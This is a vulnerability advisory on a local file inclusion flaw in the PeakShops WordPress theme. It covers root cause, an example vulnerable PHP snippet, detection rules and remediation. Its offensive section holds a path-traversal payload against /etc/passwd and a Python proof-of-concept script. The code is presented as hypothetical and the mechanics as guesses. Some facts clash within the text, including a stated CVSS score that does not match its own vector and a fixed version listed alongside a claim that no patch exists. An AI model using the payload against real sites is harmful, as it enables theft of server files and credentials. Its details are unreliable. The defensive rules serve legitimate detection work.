CVE-2025-69322

Executive Summary

CVE-2025-69322 is a critical PHP Local File Inclusion (LFI) vulnerability in the PeakShops WordPress theme by Fuelthemes, affecting versions prior to 1.5.9. The vulnerability stems from improper control of filenames in include/require statements, allowing an unauthenticated attacker to read arbitrary files from the server. With a CVSS score of 8.1, this flaw poses a significant risk to confidentiality, as it can expose sensitive configuration files, database credentials, and source code. No public exploit code or patch is currently available, making proactive detection and mitigation essential.

Supply Chain & Package Security

This vulnerability resides in a WordPress theme distributed via the official WordPress repository and third-party marketplaces. Organizations using PeakShops should treat it as a supply chain risk, as compromised themes can lead to full site compromise. No package manager (e.g., Composer) is involved, but manual updates via the WordPress admin panel are required.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploit does not affect other components.
• Confidentiality (C): High (H) – Full file read capability.
• Integrity (I): None (N) – No file modification.
• Availability (A): None (N) – No denial of service.

Threat Level: High – Unauthenticated remote file read with low complexity.

Deep Dive & Mechanics

The vulnerability exists in the PeakShops theme's PHP code, likely within a template or plugin file that uses include() or require() with user-supplied input. The theme fails to sanitize or validate the filename parameter, allowing path traversal sequences (e.g., ../../) to read arbitrary files outside the web root.

Attack Vector:

• An attacker sends a crafted HTTP request to a vulnerable endpoint (e.g., ?template=../../../../etc/passwd).
• The theme includes the specified file, outputting its contents in the HTTP response.
• Common targets: /etc/passwd, /wp-config.php, /etc/nginx/nginx.conf.

Root Cause:

• Lack of input validation on the filename parameter.
• No use of basename() or realpath() to restrict file paths.
• Absence of a whitelist for allowed include files.

Vulnerable vs. Patched Code

Vulnerable Code (Example):

<?php
// Vulnerable: Direct user input in include
$template = $_GET['template'];
include("templates/" . $template . ".php");
?>

Patched Code (Recommended):

<?php
// Patched: Whitelist allowed templates
$allowed_templates = ['home', 'about', 'contact'];
$template = $_GET['template'];
if (in_array($template, $allowed_templates)) {
    include("templates/" . $template . ".php");
} else {
    // Default fallback
    include("templates/home.php");
}
?>

Key Differences:

• Input validation via whitelist.
• No direct concatenation of user input into file paths.
• Use of in_array() to restrict to known safe values.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• WordPress 6.x with PeakShops theme version 1.5.8.
• Local server (e.g., XAMPP, Docker) with default configuration.

Exploitation Steps:

1. Identify vulnerable parameter (e.g., template, page, file).
2. Craft payload: http://target/?template=../../../../etc/passwd%00 (null byte injection may be required for older PHP versions).
3. Observe file contents in response.

Proof-of-Concept (PoC) Script:

import requests

target = "http://localhost/wordpress"
payload = "/?template=../../../../etc/passwd%00"
url = target + payload

response = requests.get(url)
if "root:" in response.text:
    print("[+] LFI successful!")
    print(response.text)
else:
    print("[-] LFI failed.")

Note: No public exploit code exists; this is a hypothetical PoC.

Blue Team (Defensive)

Detection Steps:

• Monitor web server logs for path traversal patterns (e.g., ../, %2e%2e%2f).
• Deploy WAF rules to block suspicious query parameters.
• Use file integrity monitoring (FIM) to detect unauthorized file reads.

Honeypot Setup:

• Create a fake /wp-config.php with decoy credentials to lure attackers.
• Log all requests to the vulnerable endpoint.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing ../ or %2e%2e%2f in query parameters.
  • Requests to /?template=, /?page=, or similar parameters.
  • Outbound connections to attacker-controlled IPs (if data exfiltration occurs).

• File IOCs:

  • Unusual entries in web server access logs (e.g., /etc/passwd in URI).
  • Presence of /etc/shadow or /wp-config.php in response bodies.

• System IOCs:

  • Unexpected file reads by the web server process.
  • Elevated error logs indicating failed include attempts.

Detection Engineering

YARA Rule

rule CVE_2025_69322_LFI_Detect {
    meta:
        description = "Detects LFI attempts targeting PeakShops theme"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-69322"
    strings:
        $path_traversal = /(\.\.\/|\.\.\\){2,}/
        $vuln_param = /(\?|&)(template|page|file)=/
    condition:
        $path_traversal and $vuln_param
}

Sigma Rule

title: CVE-2025-69322 PeakShops LFI Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects path traversal attempts in PeakShops theme
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - '../'
            - '..%2f'
            - '%2e%2e%2f'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in other applications
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-69322 PeakShops LFI Attempt"; flow:to_server,established; content:"../"; http_uri; nocase; content:"template="; http_uri; nocase; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the PeakShops theme and switch to a secure alternative.
2. Apply virtual patching via WAF rules to block path traversal patterns.
3. Restrict file permissions on sensitive files (e.g., chmod 600 /wp-config.php).

Long-Term Fixes:

• Update to version 1.5.9 or later once a patch is released.
• Implement input validation for all include/require statements.
• Use realpath() to resolve and validate file paths.
• Enable PHP open_basedir to restrict file access.

Workarounds:

• Add the following to .htaccess:

RewriteEngine On
RewriteCond %{QUERY_STRING} (\.\./|\.\.\\) [NC]
RewriteRule ^ - [F,L]

Valters IT – DevSecOps & Cyber Threat Intelligence